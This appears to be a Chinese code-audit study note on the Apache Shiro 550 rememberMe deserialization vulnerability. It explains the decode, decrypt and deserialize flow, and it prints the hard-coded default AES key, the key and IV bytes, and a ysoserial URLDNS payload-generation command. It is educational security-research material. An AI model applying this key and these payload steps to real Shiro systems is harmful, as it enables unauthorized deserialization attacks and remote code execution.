JavaEE开发篇&Shiro反序列化&DNS利用链&CC利用链&AES动态调试

Ethan医生2个月前代码审计81

Shiro框架:Apache Shiro是一个强大且易用的Java安全框架,提供认证、授权、加密和会话管理等功能。

#Shiro反序列化链知识点:

1Shiro用途和验证逻辑

2Shiro反序列化怎么造成

3Shiro反序列化漏洞利用

 

#Shiro反序列化链分析

当获取用户请求时,大致的关键处理过程如下:

· 获取Cookie中rememberMe的值

· 对rememberMe进行Base64解码

· 使用AES进行解密

· 对解密的值进行反序列化

由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。

 

#Shiro 550利用链分析

#原生序列化

#分析Shiro序列化

#利用Shiro序列化

1、获取AES加密属性

成功登录rememberMeSuccessfulLogin断点(动态调试)

AES/CBC/PKCS5Padding

kPH+bIxk5D2deZiIxcaaaA==

DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

key:[-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104]

iv:[6, -28, 13, 52, -37, -71, 7, -11, 112, 30, -61, 7, -19, 87, -55, -99]

2、将Payload进行加密(AES+BASE64)

-借助URLDNS链(后续分析这个链的编写)

-借助CC链(后续分析这个链的编写)

问题1:为什么不能用fastjson里面的jdbc那个链?

shiro使用的是原生反序列化操作

readObject, writeObject , ObjectInputStram , ObjectOutputStream

然后fastjason是使用自定义的方法反序列化

要满足有使用com.sun.rowset.JdbcRowSetOmple方法

set , get方法

问题2:对比利用工具中出现的多个链是什么情况导致?

java -jar ysoserial.jar URLDNS "http://" > urldns.txt

3、将rememberMe数据发包


相关文章

PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

#PHP常见漏洞关键字:SQL注入:select insert update mysql_query mysqli等文件上传:$_FILES,type="file",上传,move...

JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

#JNDI注入-低版本-原生开发&触发模式-重要知识:1、JNDI,LDAP,RMI,反序列化关系2、LDAP,RMI利用时JDK版本限制3、JDK高版本绕过方法的所需条件注:前面2个知识点可...

ASP.NET开发篇&DLL反编译&动态调试&EXE逆向&鉴权逻辑&脆弱验证

#DLL反编译工具:dnSpy = ILSpy => Reflectorhttps://github.com/dnSpy/dnSpyhttps://github.com/icsharpcode/...

PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

ASP.NET开发篇&预编译架构&DLL反编译&用友畅捷通T&文件上传挖掘

#DLL反编译工具:dnSpy = ILSpy => Reflectorhttps://github.com/dnSpy/dnSpyhttps://github.com/icsharpcode/...

代码审计-JavaEE开发篇&第三方组件&依赖库挖掘&FastJson&Shrio&Log4j&H2DB

#JavaEE审计-第三方组件安全1、找存在漏洞的第三方组件(Package Checker插件)2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)3、找可控地方进行测试检测(根据网上已知漏洞利用...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。